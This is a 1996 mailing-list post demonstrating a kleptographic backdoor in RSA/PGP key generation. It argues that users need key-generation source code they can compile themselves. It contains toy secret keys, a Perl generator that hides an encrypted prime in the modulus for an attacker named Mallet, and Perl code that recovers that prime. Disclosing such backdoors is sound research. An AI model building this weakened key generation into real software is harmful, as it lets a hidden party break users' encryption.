[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]
Re: Backdoor in RSA Discovered
Hi,
Here is an example of a PGP key that has been generated, but with
a secret backdoor. It is not possible by looking at the generated
key to see that it has a backdoor.
The key generation code contains Mallets public key. When generating
a key, the upper bytes of N are set to an encrypted factor of N.
The encryption is done using Mallets public key, so only Mallet
can retrieve the factor from N.
I think this example demonstrates the need not only for having key
generation source code (which is required anyway in order to verify
the quality of the random number generator), but also for being able
to compile and link this source, since without this ability it is too
easy to have such a backdoor in the system (yes, the code could be
reversed engineered, but this can be made very difficult by having
self modifying code etc.)
There does however appear to be one way to assure the user that
this trickery is not going on. This can be done by generating
"vanity keys", that allow the user to specify a phrase that
will appear in the PGP ascii key. If this were done, then there
would be little room left in N to store details about its factors.
Here is a working example of this backdoor:
This is Mallets secret key (passphrase "xyzzy"):
Type bits/keyID Date User ID
sec 496/5D925633 1996/06/01 Bill Klinton <[email protected]>
-----BEGIN PGP SECRET KEY BLOCK-----
Version: 2.6.2
lQD5AjGwJnsAAAEB8M6FnxIdQZrORfKlb6/l74S6YUT0GQHvzrioiXJoRd2gnAAs
e99C/XPKZShiylm+nu5UD8zDBBtcoiBdklYzAAURAQxi1EDMl1u+Aew7e7bKTY6c
l/RAUacgZ9zbL1tl96kxQucLrt8l6Sz11EOmnV9eDZdf1LYG9jg5WbLvNGqpmzyY
PlNKBJn/7gD4hu3YUt9caDyY5/X2ASMaL40gb1y1YZxjbTbB4Xjd8wD4+Iv9qhEQ
fLjeYi+iUhnNkMtPyeg/+TR6rdP/c42UXAD2mqW0VuM8wiib0nbwfXwC0SlJveLG
UwNOgRIujTwS7k35tCJCaWxsIEtsaW50b24gPGJpbGxAd2hpdGVob3VzZS5nb3Y+
=oOrI
-----END PGP SECRET KEY BLOCK-----
The key consists of the following:
n: ce859f121d419ace45f2a56fafe5ef84ba6144f41901efceb8a889726845dd
a09c002c7bdf42fd73ca652862ca59be9eee540fccc3041b5ca2205d925633
e: 11
d: 0c25fa4c5c12eafd132c6415a0ef68713823d6e12ea5c2cfecbe9eac607c94
75d1b60c2a3aef89438692326d70d88080317b0cd04432d5a0230de572e819
p: d2640ede17e8c05545aa9ecfd5154f934021e4ef8ef22a248abe0ab3f1aaed
q: fb4ada7f960c9a8ab23010ff4936a9a2db834346694979c72f90296cff419f
This is Joe's PGP key (passphrase is "xyzzy"):
Type bits/keyID Date User ID
sec 1024/D0351D23 1996/06/01 Joe Sixpack <[email protected]>
-----BEGIN PGP SECRET KEY BLOCK-----
Version: 2.6.2
lQHgAjGwKUIAAAEEAIBG2pH3rabYMSWhVjcnG8v9HVU4vwtBuBysnvuJI4PvjV3o
+YnuFD+x3aF8O52jgpBTllAxhndDSPUXQaj+sXEGDkV0Nq8RCZ02usaj24ogn0+S
KW9ej8GgWL8EmlP1H1Qrv39/qz1VSqvxczCLYoRetHETR0JirwcMj9fQNR0jAAUR
AYwvF+QHqifbA/4oAli05pLm0QlkbOqimdm4QS3OC1r9kdqvO88GF5nj9EgLm1a+
svRThXiO586Udi1UkSXvM60o4nz6tGASavgc7X8JaL/B2yOcMH9gF6CN6zabiyAb
anrJe06IuKH3980GoQ2Sp1sssFHqxgper1ga3STmUVj/dQBjaFUI1qwDkwIAnRPO
F7qIopIcEhnxW1OXcv0/9Afhugy3ERbGZwTaaw2fAiiyD41FpkbOUbao8D5Vkndr
y6h2LEC7P5iwfdAF3AIAPz/2nRuZAnyNrA4ESvryyHMejwsz9BAkok+MT2z2E85W
h8laL76yok5DZz56bRqH2gyQkPR5Rx3hnLx+fqL45gIAzy3CkdR77yw8bXUH8/Av
azYh0m4KzEsw8P1a10YkVxP8xiTbqYbN0lmzOrdWlEW6dZjkx5q67vt1op7hDtqW
LJwYtBlKb2UgU2l4cGFjayA8am9lQGFvbC5jb20+
=evl9
-----END PGP SECRET KEY BLOCK-----
The key consists of the following:
n: 8046da91f7ada6d83125a15637271bcbfd1d5538bf0b41b81cac9efb89
2383ef8d5de8f989ee143fb1dda17c3b9da382905396503186774348f5
1741a8feb171060e457436af11099d36bac6a3db8a209f4f92296f5e8f
c1a058bf049a53f51f542bbf7f7fab3d554aabf173308b62845eb47113
474262af070c8fd7d0351d23
e: 11
d: 2d462f06576a771f2067a25aaa0dcd934a46968c7fa99eb97388381c8a
c13d9fd78a8e7630ae617fe46c571cc9bf2aa68d4aad85b7206653fba1
cbf90e78026398a33f3a99dd4ced780f9bd854b2560f5cd9c6113ab837
7443d9e946a3c2c74989f26f775635cd6ebd8a665e0885e28c60d714b3
c9981c0ff09fa561a7d7d8f1
p: 804e00dc8ea1c0a55c2f5a5b14fdb05f84ecb1c5d1463562925637624e
6f1d945adbc4ed2cb4dd266f8f9c59f6c07d7b3d3ee20328bfdf12f54f
654256a63e01
q: fff1bc1c496fa118c2307c31498f3b403df9d9dd77b91295a3191d5a26
924d8ff276696adeb344ca6cbeddb976fa387b64697f12b8a8dec43d4e
2b561e00a323
If we look at bytes 1-63 of n:
46da91f7ada6d83125a15637271bcbfd1d5538bf0b41b81cac9efb892383ef
8d5de8f989ee143fb1dda17c3b9da382905396503186774348f51741a8feb1
and decrypt this using Mallets private 'd', we get
4e00dc8ea1c0a55c2f5a5b14fdb05f84ecb1c5d1463562925637624e6f1d94
5adbc4ed2cb4dd266f8f9c59f6c07d7b3d3ee20328bfdf12f54f654256a63e
which you can see is Joe's P without the leading 0x80 and trailing 0x01
Here is the code (in Perl) that generated Joe's key.
This code contains only Mallets public key.
my $bits = 512; # Bits in p and q, not in n
#
# Set up Mallets public key
#
my $me = new MPI 17;
my $mn = restore MPI pack("H*", "ce859f121d419ace45f2a56fafe5ef84ba6144f41901efceb8a889726845dda09c002c7bdf42fd73ca652862ca59be9eee540fccc3041b5ca2205d925633");
#
# Note - first byte is 0x80,
# first bit of second byte is zero
# to ensure that P is less than Mallets n
#
my $p;
do {
$p = randomSpecial($bits, "100000000", "00000001");
} while (!isPrime($p));
#
# Now encrypt P for Mallet
#
my $ss = $p->save();
substr($ss, 0, 1) = ''; # Remove high and low bytes
substr($ss, -1, 1) = ''; # since we know what they are
my $tmp = restore MPI $ss;
my $s = new MPI;
MPI::mod_exp($s, $tmp, $me, $mn);
$s = restore MPI pack("C", 128) . $s->save() . pack("C", 1);
my $tmp = new MPI;
my $q = new MPI;
MPI::lshift($tmp, $s, $bits);
MPI::add($tmp, $tmp, new MPI 256); # To prevent Q being too large
MPI::div($q, new MPI, $tmp, $p);
do {
$q->inc();
} while (!isPrime($q));
my $e = new MPI 17;
my $sk = RSAKeyGen::deriveKeys($p, $q, $e);
#
# Save our key
#
my $passphrase = "xyzzy";
my $skc = new SecretKeyCertificate($sk, $passphrase);
my $fos = new FileOutputStream("secring.pgp");
my $dos = new DataOutputStream($fos);
$skc->saveToDataStream($dos);
my $id = new UserIdPacket 'Joe Sixpack <[email protected]>';
$id->saveToDataStream($dos);
This is the code to recover P from Joes public key
(Mallet's private key is required)
#
# Mallets secret key
#
my $mn = restore MPI pack("H*", "ce859f121d419ace45f2a56fafe5ef84ba6144f41901efceb8a889726845dda09c002c7bdf42fd73ca652862ca59be9eee540fccc3041b5ca2205d925633");
my $md = restore MPI pack("H*", "0c25fa4c5c12eafd132c6415a0ef68713823d6e12ea5c2cfecbe9eac607c9475d1b60c2a3aef89438692326d70d88080317b0cd04432d5a0230de572e819");
my $rp = new MPI;
my $pe = restore MPI substr($sk->n()->save(), 1, 62);
MPI::mod_exp($rp, $pe, $md, $mn); # Decrypt
Gary
--
pub 1024/C001D00D 1996/01/22 Gary Howland <[email protected]>
Key fingerprint = 0C FB 60 61 4D 3B 24 7D 1C 89 1D BE 1F EE 09 06